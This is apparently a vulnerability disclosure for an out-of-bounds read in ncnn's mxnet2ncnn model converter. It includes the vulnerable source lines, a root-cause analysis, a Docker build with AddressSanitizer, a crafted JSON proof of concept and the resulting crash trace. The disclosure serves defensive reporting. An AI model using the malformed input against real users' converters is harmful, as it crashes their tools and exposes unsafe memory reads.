Out-of-Bounds Read Crashes MXNet Converter
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/mxnet/mxnet2ncnn.cpp:236 in MXNetNode::is_weight
Sanitizer verdict: heap-buffer-overflow
Summary
The mxnet2ncnn converter reads node input references out of an attacker-supplied MXNet JSON graph and uses them as raw indices into its nodes vector with no bounds check. A one-node graph whose node references input [9, 0] makes the converter construct a reference to nodes[9], 1872 bytes past a 208-byte allocation, and call is_weight() on it — reading a garbage params pointer. The entry point is mxnet2ncnn <model.json> <model.params>, i.e. anyone converting an untrusted MXNet model.
Detail
The untrusted field is the node ID inside each "inputs" entry of the JSON graph. parse_input_list extracts it with sscanf("[%d, %d") and pushes it into n.inputs without comparing it to the number of parsed nodes. The normalization loop in main then dereferences the vector at that index directly:
// tools/mxnet/mxnet2ncnn.cpp:1063
for (int j = 0; j < (int)n.inputs.size(); j++)
{
int input_index = n.inputs[j];
if (nodes[input_index].is_weight())
{
weights.push_back(input_index);
continue;
}
inputs.push_back(input_index);
}
// tools/mxnet/mxnet2ncnn.cpp:234
bool MXNetNode::is_weight() const
{
for (int i = 0; i < (int)(*params).size(); i++)
{
const MXNetParam& p = (*params)[i];
if (p.name == name)
return true;
}
return false;
}
std::vector::operator[] performs no checking, so nodes[9] on a one-element vector simply computes base + 9 * sizeof(MXNetNode). MXNetNode is 208 bytes here, so the synthesized object starts 1872 bytes past the 208-byte heap block that holds the single real node.
is_weight() immediately loads the params back-reference, which is the second pointer member of the class (std::vector<MXNetNode>* nodes; std::vector<MXNetParam>* params;), i.e. offset 8 in the bogus object. That is the 8-byte read ASan reports "1672 bytes after 208-byte region" (208 + 1672 = 1880 = 9 * 208 + 8). Whatever bytes live there are then dereferenced as a std::vector<MXNetParam>* inside (*params).size(), so the converter aborts — and on a build without ASan the value is a wild pointer read.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-out-of-bounds-read-crashes-mxnet-converter && cd ncnn-poc-out-of-bounds-read-crashes-mxnet-converter
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.json <<'EOF'
{
"nodes": [
{
"inputs": [[9, 0]]
},
EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/mxnet/mxnet2ncnn poc.json /dev/null
AddressSanitizer output:
read header failed 0
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000000798 at pc 0x5727d6169be4 bp 0x7fff7983c970 sp 0x7fff7983c960
READ of size 8 at 0x511000000798 thread T0
#0 0x5727d6169be3 in MXNetNode::is_weight() const /ncnn/tools/mxnet/mxnet2ncnn.cpp:236
#1 0x5727d6173473 in main /ncnn/tools/mxnet/mxnet2ncnn.cpp:1066
#2 0x73676b2381c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#3 0x73676b23828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x5727d61679c4 in _start (/ncnn/build/tools/mxnet/mxnet2ncnn+0x99c4) (BuildId: 570831d83e6db66d37c79a6bef06d728c8377e18)
0x511000000798 is located 1672 bytes after 208-byte region [0x511000000040,0x511000000110)
allocated by thread T0 here:
#0 0x73676b8b3548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x5727d61a58b7 in std::__new_allocator<MXNetNode>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
#2 0x5727d619a2e6 in std::allocator_traits<std::allocator<MXNetNode> >::allocate(std::allocator<MXNetNode>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
#3 0x5727d619a2e6 in std::_Vector_base<MXNetNode, std::allocator<MXNetNode> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
#4 0x5727d61908cd in void std::vector<MXNetNode, std::allocator<MXNetNode> >::_M_realloc_insert<MXNetNode const&>(__gnu_cxx::__normal_iterator<MXNetNode*, std::vector<MXNetNode, std::allocator<MXNetNode> > >, MXNetNode const&) /usr/include/c++/13/bits/vector.tcc:459
#5 0x5727d6189ad5 in std::vector<MXNetNode, std::allocator<MXNetNode> >::push_back(MXNetNode const&) /usr/include/c++/13/bits/stl_vector.h:1292
#6 0x5727d616b66e in read_mxnet_json /ncnn/tools/mxnet/mxnet2ncnn.cpp:447
#7 0x5727d617293d in main /ncnn/tools/mxnet/mxnet2ncnn.cpp:975
#8 0x73676b2381c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x73676b23828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x5727d61679c4 in _start (/ncnn/build/tools/mxnet/mxnet2ncnn+0x99c4) (BuildId: 570831d83e6db66d37c79a6bef06d728c8377e18)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/tools/mxnet/mxnet2ncnn.cpp:236 in MXNetNode::is_weight() const
Credit
Zheng Yu @ DepthFirst